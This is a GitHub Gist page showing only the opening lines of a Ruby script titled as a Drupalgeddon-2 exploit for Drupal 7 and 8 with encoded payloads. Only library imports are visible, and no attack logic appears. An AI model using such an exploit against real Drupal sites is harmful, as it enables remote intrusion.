Skip to content

Instantly share code, notes, and snippets.

@m4lv0id
m4lv0id / drupalgeddon2-not-write-shell(with_encoded_payload).rb
Last active April 27, 2018 09:12
Drupalgeddon-2 Exploit (added payload encoding)
#!/usr/bin/env ruby
# This version works both Drupal 8.X and Drupal 7.X
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'nokogiri'